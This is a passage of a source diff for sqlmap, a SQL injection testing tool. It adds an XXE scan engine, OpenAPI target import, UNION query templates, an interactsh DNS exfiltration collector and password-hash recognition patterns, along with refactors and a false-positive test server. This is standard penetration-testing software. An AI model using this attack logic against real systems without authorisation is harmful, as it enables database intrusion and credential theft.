"<div class=\"foot\">%s</div></body></html>" % (_rnd(), _rnd(), rows, _rnd()))
elif trap == "acceptall":
# 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel.
output = "<html><body><b>OK</b> welcome to the portal</body></html>"
elif trap == "reflect":
# echoes the parameter verbatim (reflection) with no SQL sink.
output = "<html><body>you searched for: %s</body></html>" % idv
elif trap == "errors":
# DB-error-looking text for any non-baseline input -> baits error-based detection.
output = "<html><body>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result</body></html>" if idv != "1" else "<html><body><b>SQL results:</b><table><tr><td>1</td><td>luther</td></tr></table></body></html>"
elif trap == "lengthrand":
# response length varies at random (not with the payload) -> baits length-based heuristics.
output = "<html><body>ok %s</body></html>" % _rnd(random.choice([4, 40, 400]))
elif trap == "slowrand":
# random latency, uncorrelated with the payload -> baits time-based detection.
time.sleep(random.choice([0, 0, 0, 1]))
output = "<html><body>ok %s</body></html>" % _rnd()
else:
output = "<html><body>?</body></html>"
self.send_response(OK)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url == '/':
if not any(_ in self.params for _ in ("id", "query")):
self.send_response(OK)

View file

@ -57,6 +57,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import POST_HINT
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import NOTE
@ -86,6 +87,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import SSTI_ERROR_REGEX
from lib.core.settings import XPATH_ERROR_REGEX
from lib.core.settings import XXE_ERROR_REGEX
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IPS_WAF_CHECK_RATIO
from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
@ -1214,6 +1216,13 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.beep:
beep()
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
logger.info(infoMsg)
if conf.beep:
beep()
kb.disableHtmlDecoding = False
kb.heuristicMode = False
@ -1274,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
seqMatcher.set_seq1(firstPage)
seqMatcher.set_seq2(secondPage)
ratio = seqMatcher.quick_ratio()
except MemoryError:
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input or, rarely, with interpreter-level
# errors under heavy threading; degrade to "undetermined" instead of crashing
ratio = None
if ratio is None:
@ -1289,6 +1300,27 @@ def checkDynamicContent(firstPage, secondPage):
count += 1
if count > conf.retries:
# Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
# but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
# requests - base the comparison on that value-free structure instead. Dynamic text
# (e.g. per-render result rows) then no longer masks an injection whose signal is
# structural (the HTML counterpart of the structure-aware JSON comparison). Content
# with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
# to '--text-only' as before.
skeleton = extractStructuralTokens(firstPage)
if skeleton and skeleton == extractStructuralTokens(secondPage):
kb.pageStructurallyStable = True
if kb.nullConnection:
debugMsg = "turning off NULL connection support because of structural page comparison"
logger.debug(debugMsg)
kb.nullConnection = None
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
infoMsg += "will base the page comparison on the page structure"
logger.info(infoMsg)
return
warnMsg = "target URL content appears to be too dynamic. "
warnMsg += "Switching to '--text-only' "
logger.warning(warnMsg)
@ -1394,26 +1426,7 @@ def checkStability():
raise SqlmapNoneDataException(errMsg)
else:
# Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
# whether the page is structurally stable (identical tag/class/id skeleton across the two
# requests) despite differing text. If so, base the comparison on that value-free structure
# so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
# the HTML counterpart of the structure-aware JSON comparison
if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
kb.pageStructurallyStable = True
if kb.nullConnection:
debugMsg = "turning off NULL connection "
debugMsg += "support because of structural page comparison"
logger.debug(debugMsg)
kb.nullConnection = None
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
infoMsg += "will base the page comparison on the page structure"
logger.info(infoMsg)
else:
checkDynamicContent(firstPage, secondPage)
checkDynamicContent(firstPage, secondPage)
return kb.pageStable

View file

@ -529,8 +529,8 @@ def start():
checkWaf()
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only")
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
@ -557,13 +557,19 @@ def start():
sstiScan()
continue
if conf.xxe:
from lib.techniques.xxe.inject import xxeScan
xxeScan()
continue
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)):
# NOTE: besides the not-stable warning, this marks dynamic content for removal, which
# UNION column-count detection relies on too (it compares pages) - so it must run when
# UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page)
checkStability()
# Do a little prioritization reorder of a testable parameter list

View file

@ -958,12 +958,19 @@ class Agent(object):
if not infoFile:
query = _collate(query)
# A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678'])
# forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL
# and demands UNION column-type parity); '%s' marks the slot carrying the injected expression.
template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None
for element in xrange(0, count):
if element > 0:
unionQuery += ','
if conf.uValues and conf.uValues.count(',') + 1 == count:
unionQuery += conf.uValues.split(',')[element]
elif template is not None:
unionQuery += query if template[element] == "%s" else template[element]
elif element == position:
unionQuery += query
else:
@ -985,7 +992,9 @@ class Agent(object):
if element > 0:
unionQuery += ','
if element == position:
if template is not None:
unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element]
elif element == position:
unionQuery += _collate(multipleUnions)
else:
unionQuery += char

View file

@ -200,7 +200,7 @@ from thirdparty.clientform.clientform import ParseResponse
from thirdparty.clientform.clientform import ParseError
from thirdparty.colorama.initialise import init as coloramainit
from thirdparty.magic import magic
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import collections_abc as _collections
from thirdparty.six.moves import configparser as _configparser
@ -2099,7 +2099,9 @@ def getFileType(filePath):
desc = getText(desc)
if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE):
content = openFile(filePath, "rb", encoding=None).read()
_ = openFile(filePath, "rb", encoding=None)
content = _.read()
_.close()
try:
content.decode()
@ -2342,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
infoMsg = "static words: "
if firstPage and secondPage:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
try:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input / interpreter-level hiccups; skip
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
commonWords = None
else:
commonWords = None
@ -2624,6 +2631,17 @@ def initCommonOutputs():
if line not in kb.commonOutputs[key]:
kb.commonOutputs[key].add(line)
# The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much
# more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly
# system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate.
# The mechanism only reorders the charset, so extra coverage never penalizes a miss.
for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)):
try:
for _ in getFileItems(_path):
kb.commonOutputs.setdefault(_key, set()).add(_)
except SqlmapSystemException:
pass
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
"""
Returns newline delimited items contained inside file
@ -3310,7 +3328,16 @@ def isNumPosStrValue(value):
return retVal
@cachedmethod
# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a
# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum()
# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via
# setdefault in dict order preserves the original first-match-wins semantics.
_DBMS_ALIAS_MAP = {}
for _dbmsKey, _dbmsItem in DBMS_DICT.items():
for _dbmsAlias in _dbmsItem[0]:
_DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey)
_DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey)
def aliasToDbmsEnum(dbms):
"""
Returns major DBMS name from a given alias
@ -3319,15 +3346,7 @@ def aliasToDbmsEnum(dbms):
'Microsoft SQL Server'
"""
retVal = None
if dbms:
for key, item in DBMS_DICT.items():
if dbms.lower() in item[0] or dbms.lower() == key.lower():
retVal = key
break
return retVal
return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None
def findDynamicContent(firstPage, secondPage, merge=False):
"""
@ -3349,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
infoMsg = "searching for dynamic content"
singleTimeLogMessage(infoMsg)
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
try:
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can blow up on pathological/oversized input (and, rarely, with
# interpreter-level errors under heavy threading); a failed dynamic-content
# search must degrade gracefully rather than abort the whole scan - mirrors the
# guard around the ratio computation in lib/request/comparison.py
return
if not merge:
kb.dynamicMarkings = []
@ -4414,7 +4440,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if isinstance(name, six.string_types):
retVal = getUnicode(name)
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
# Resolve the identified DBMS once; it is invariant within this call and
# Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise
# re-evaluated several times below.
dbms = Backend.getIdentifiedDbms()
_ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE)
if _:
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
@ -4424,13 +4454,13 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if not conf.noEscape:
retVal = unsafeSQLIdentificatorNaming(retVal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
@ -4463,16 +4493,21 @@ def unsafeSQLIdentificatorNaming(name):
retVal = name
if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
# Resolve the identified DBMS once; it is invariant within this call, and
# Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously
# it was re-evaluated up to five times per call.
dbms = Backend.getIdentifiedDbms()
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
retVal = name.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = name.replace("\"", "").upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
retVal = name.replace("[", "").replace("]", "")
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if dbms in (DBMS.MSSQL, DBMS.SYBASE):
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
return retVal

View file

@ -8,7 +8,7 @@ See the file 'LICENSE' for copying permission
import copy
import threading
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six.moves import collections_abc as _collections
class AttribDict(dict):

View file

@ -62,7 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
from lib.utils.safe2bin import safechardecode
from thirdparty import six
from thirdparty.magic import magic
from thirdparty.odict import OrderedDict
from collections import OrderedDict
class Dump(object):
"""

View file

@ -180,6 +180,8 @@ class HASH(object):
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z'
MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z'
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
@ -192,6 +194,8 @@ class HASH(object):
SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z'
SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z'
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
@ -205,6 +209,13 @@ class HASH(object):
SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z'
DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z'
DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z'
DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z'
WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z'
WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z'
BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z'
ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z'
MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z'
SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z'
SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z'

View file

@ -144,6 +144,7 @@ from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
from lib.request.chunkedhandler import ChunkedHandler
from lib.request.connect import Connect as Request
from lib.request.dns import DNSServer
from lib.request.dns import InteractshDNSServer
from lib.request.httpshandler import HTTPSHandler
from lib.request.keepalive import HTTPKeepAliveHandler
from lib.request.keepalive import HTTPSKeepAliveHandler
@ -492,6 +493,70 @@ def _setBulkMultipleTargets():
warnMsg = "no usable links found (with GET parameters)"
logger.warning(warnMsg)
def _setOpenApiTargets():
if not conf.openApiFile:
return
from lib.parse.openapi import openApiTargets
if conf.method:
warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification"
logger.warning(warnMsg)
# origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base'
# (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself.
origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None
if re.match(r"(?i)\Ahttps?://", conf.openApiFile):
infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile
logger.info(infoMsg)
from lib.request.connect import Connect as Request
content = Request.getPage(url=conf.openApiFile, raise404=True)[0]
if not origin:
match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile)
origin = match.group(1) if match else None
else:
conf.openApiFile = safeExpandUser(conf.openApiFile)
checkFile(conf.openApiFile)
infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile
logger.info(infoMsg)
content = openFile(conf.openApiFile).read()
try:
targets = openApiTargets(content, origin)
except ValueError as ex:
errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex)
raise SqlmapSyntaxException(errMsg)
if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])):
warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. "
warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with "
warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")"
logger.warning(warnMsg)
before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback
mutating = 0
for url, method, data, headers in targets:
if conf.scope and not re.search(conf.scope, url, re.I):
continue
if method not in ("GET", "HEAD", "OPTIONS"):
mutating += 1
kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None))
added = len(kb.targets) - before
if added:
conf.multipleTargets = True
infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added
logger.info(infoMsg)
if mutating:
warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating
warnMsg += "Scanning them may create, modify or delete server-side data"
logger.warning(warnMsg)
else:
warnMsg = "no usable targets derived from the OpenAPI/Swagger specification"
if not conf.openApiBase:
warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)"
logger.warning(warnMsg)
def _findPageForms():
if not conf.forms or conf.crawlDepth:
return
@ -870,6 +935,15 @@ def _setTamperingFunctions():
warnMsg += "a good idea"
logger.warning(warnMsg)
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so
# warn instead of silently ignoring the user's '--tamper'
if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)):
engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_))
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
warnMsg += "will be ignored by the '--%s' engine" % engine
logger.warning(warnMsg)
if resolve_priorities and priorities:
priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
kb.tamperFunctions = []
@ -1249,10 +1323,12 @@ def _setHTTPHandlers():
handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
# Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out,
# and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods,
# or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler)
conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked
# Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s)
# proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled
# socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled
# when incompatible (authentication methods, or chunked transfer-encoding of the request body -
# handled by a dedicated, non-pooling handler)
conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked
if conf.keepAlive:
# persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
@ -1261,8 +1337,8 @@ def _setHTTPHandlers():
handlers.remove(httpsHandler)
handlers.append(keepAliveHandler)
handlers.append(keepAliveHandlerHTTPS)
elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked):
reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding")
elif not conf.noKeepAlive and (conf.authType or conf.chunked):
reason = "authentication methods" if conf.authType else "chunked transfer-encoding"
debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
logger.debug(debugMsg)
@ -1841,7 +1917,7 @@ def _cleanupOptions():
if conf.tmpPath:
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)):
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)):
conf.multipleTargets = True
if conf.optimize:
@ -2506,6 +2582,26 @@ def _setDNSServer():
if not conf.dnsDomain:
return
from lib.core.settings import OOB_INTERACTSH_SERVERS
_requested = conf.dnsDomain.strip().lower()
if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS:
infoMsg = "setting up interactsh-backed DNS exfiltration collector"
logger.info(infoMsg)
try:
conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None)
conf.dnsServer.run()
conf.dnsDomain = conf.dnsServer.domain
except socket.error as ex:
errMsg = "there was an error while setting up "
errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain
logger.info(infoMsg)
return
infoMsg = "setting up DNS server instance"
logger.info(infoMsg)
@ -2717,8 +2813,8 @@ def _basicOptionValidation():
errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
raise SqlmapSystemException(errMsg)
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)):
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'"
raise SqlmapSyntaxException(errMsg)
if conf.api and not conf.configFile:
@ -3011,7 +3107,7 @@ def init():
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
@ -3027,6 +3123,7 @@ def init():
_doSearch()
_setStdinPipeTargets()
_setBulkMultipleTargets()
_setOpenApiTargets()
_checkTor()
_setCrawler()
_findPageForms()

View file

@ -19,6 +19,8 @@ optDict = {
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"openApiFile": "string",
"openApiBase": "string",
},
"Request": {
@ -123,6 +125,9 @@ optDict = {
"ldap": "boolean",
"xpath": "boolean",
"ssti": "boolean",
"xxe": "boolean",
"oobServer": "string",
"oobToken": "string",
"timeSec": "integer",
"uCols": "string",
"uChar": "string",
@ -282,6 +287,7 @@ optDict = {
"forceDns": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"fpTest": "boolean",
"apiTest": "boolean",
},

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.0"
VERSION = "1.10.7.30"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -141,6 +141,9 @@ FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conver
# Upper threshold for starting the fuzz(y) UNION test
FUZZ_UNION_MAX_COLUMNS = 10
# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically)
FUZZ_UNION_MAX_REQUESTS = 80
# Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"
@ -713,7 +716,10 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\
